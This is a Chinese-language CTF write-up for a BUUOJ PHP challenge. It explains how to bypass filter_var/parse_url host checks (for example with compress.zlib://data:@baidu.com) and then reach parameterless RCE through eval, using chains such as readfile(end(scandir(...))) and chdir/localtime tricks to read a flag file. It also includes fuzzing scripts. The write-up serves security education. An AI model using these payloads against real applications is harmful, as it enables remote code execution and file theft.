简介
原题复现:
考察知识点:无参数命令执行、绕过filter_var(), preg_match()
线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题
环境复现
目录
www/flag flag文件 www/code/code.php
代码
1 php 2 function is_valid_url($url) { 3 //FILTER_VALIDATE_URL 过滤器把值作为 URL 进行验证。 4 if (filter_var($url, FILTER_VALIDATE_URL)) { 5 if (preg_match('/data:\/\//i', $url)) { 6 return false; 7 } 8 return true; 9 } 10 return false; 11 } 12 13 14 if (isset($_POST['url'])){ 15 $url = $_POST['url']; 16 if (is_valid_url($url)) { 17 $r = parse_url($url); 18 var_dump($r); 19 if (preg_match('/baidu\.com$/', $r['host'])) { 20 $code = file_get_contents($url); 21 var_dump($code); 22 if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) { 23 if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) { 24 echo 'bye~'; 25 } else { 26 eval($code); 27 } 28 } 29 } else { 30 echo "error: host not allowed"; 31 } 32 } else { 33 echo "error: invalid url"; 34 } 35 }else{ 36 highlight_file(__FILE__); 37 }
审计分析
绕过URL过滤??
通过post传入url值后显示进行is_valid_url这个函数的验证 函数使用了fileter_var()里面的FILTER_VALIDATE_URL这个过滤器来过滤url 为真后 又有一个preg_match正则的判断 不能含有data:\\ 这个东西
到了第18行还有个过滤 将解析后的url的host部分进行正则匹配必须要baidu.com为结尾 才能匹配成功 我们把这里作为第一层先绕过
下来就到这一块核心的地方了 考的是无参数RCE
25行的限制只能是a(b())的形式,同时稚嫩共包含字母
26行则限制了很多函数。。那些没被限制我们可以fuzz下 我们把这里作为第二层绕过
fuzz学习 https://xz.aliyun.com/t/6737
绕过第一层
1.额外知识增加(如何绕过filter_var和parse_url)
data://伪协议的利用
如果没有上面第5行的过滤data我们看如何绕过?
可以使用data://伪协议形式绕过
data://text/plain;base64,xxxx
parser_url会将text部分作为host 所以再进行验证的时候就能绕过了 并且PHP对MIME不敏感,我们可以将一些东西注入到MIME中
data://baidu.com/plain;base64,xxxx
将代码中的data://正则验证注释可测试
payload:
POST:url=data://baidu.com/plain,echo('1111') //string(12) "echo('1111')"
0://hua.com;baidu.com //可以绕过FILTER_VALIDATE_URL过滤器
参考学习来源
https://www.jianshu.com/p/80ce73919edb
回到正题有data验证怎么办呢这时候上面的方法根本没办法用。
方法一:使用compress.zlib方式
payload
url=compress.zlib://data:@baidu.com/baidu.com?,echo('1111')
方法二:购买一个xxxbaidu.com的域名(未测试)
购买之后绑定到服务器上 再上传文件下来步骤跟方法三一样
方法三:百度网盘链接
(在这个程序过滤中不行!因为百度云默认有空格 只能自己搭建服务了)
上传1.php 找到下载链接打开1.php编辑从响应里面找。
环境测试
搭建测试环境要php.ini修改3个地方 我使用的kali linux2020不用修改默认 本机win10可能需要修改
extension=php_openssl.dll 开启PHPssl扩展 allow_url_include = On 允许引入URL文件 allow_url_fopen = On 允许打开url文件
在linux服务环境下测试成功
windows环境搭建的服务因为post长度限制可能 发现打过去的post会被截断部分导致失败
方法四:使用ftp协议(未测试)
ftp://ip:port,baidu.com:80/filename.txt
方法五:百度的一个任意跳转漏洞(未测试)
post.baidu.com
https://www.4xseo.com/marketing/1280/#title-0
第二层正则绕过
第二层考点是无参数rce
fuzz学习 https://xz.aliyun.com/t/6737
获取所有的php函数并保存文件为function.txt
php $a = get_defined_functions()['internal']; $file = fopen("function.txt","w+"); foreach ($a as $key ) { echo fputs($file,$key."\r\n"); } fclose($file); ?>
python 这样就能得到那些php没被过滤掉
import re f = open('function.txt','r') for i in f: function = re.findall(r'/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log',i) if function == [] and not '_' in i: print(i)
根据题目得到flag再上层目录下 所有我们要构造读取上层目录下的文件
方法一 phpversion()
sqrt() : 返回一个数字的平方根 tan() : 返回一个数字的正切 cosh() : 返回一个数字的双曲余弦 sinh() : 返回一个数字的双曲正弦 ceil() : 返回不小于一个数字的下一个整数 , 也就是向上取整
一个点的ascii值 看wp大佬用数学函数写了个脚本实现计算
php $list = array("ceil","sinh","cosh","tan","floor","sqrt","cos","sin"); foreach($list as $a){ foreach($list as $b){ foreach($list as $c){ foreach($list as $d){ foreach($list as $e){ foreach($list as $f){ foreach($list as $g){ foreach($list as $h){ if($a($b($c($d($e($f($g($h(phpversion())))))))) == 46) echo "$a+$b+$c+$d+$e+$f+$g+$h"."\n"; }}}}}}}} ?>
这样得到的部分payload解决了我们参数“.”的传递
url=compress.zlib://data:@baidu.com/baidu.com?,echo(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));
参考学习:http://www.guildhab.top/?p=1077
https://xz.aliyun.com/t/6737
方法二 localtime()+localeconv()
分析一个师傅的payload
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
scandir() 列出目录中的文件和目录。 end() 将内部指针指向数组中的最后一个元素,并输出。 readfile() 输出一个文件 current() 返回数组当前单元
也就是说要这样构造 但是这个题过滤了参数 怎么办?
readfile(end(scandir('.')));
这个函数返回的第一个元素就是. 我们可以用current来获取数组中的当前单元 但是这个被过滤了怎么办?
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
我们可以使用current()函数的别名pos()函数 这样返回的就是 “.”
pos(localeconv())
这个pyaload如果flag再当前目录可用 但是原题flag不再当前目录怎么办?
readfile(end(scandir(pos(localeconv()))));
读取当前目录下的最后一个文件输出到页面上
因为flag再上层目录 我们还需要chrdir() next来重新定义一下php当前目录,再使用readfile来读取文件
chdir()函数改变当前的目录 next()函数将内部指针指向数组中的下一个元素,并输出。 这里可以获取到scandir()返回的".."
返回上一层payload
chdir(next(scandir(pos(localeconv()))));
返回上一层之后 我们想读文件 但是改变目录执行成功只返回一个1 所以我们需要再构造一个"." 来用上述方法来获取flag 那怎么构造?可以用localtime()函数 来返回46 再用chr转就成了"."
localtime(timestamp,is_assoc);取得本地时间 timestamp 可选,规定Unix时间戳 如未规定则默认time() is_assoc 可选 规定返回关联数组还是索引数组 如果FALSE则返回索引 默认False
payload 每46秒的时候就会返回"."
chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))
再和读取文件方式组合一下的最终payload
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
参考学习:https://xz.aliyun.com/t/6316
方法三 if()
使用chdir()返回0和1 来用if判断并执行后面的语句进行文件读取
if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));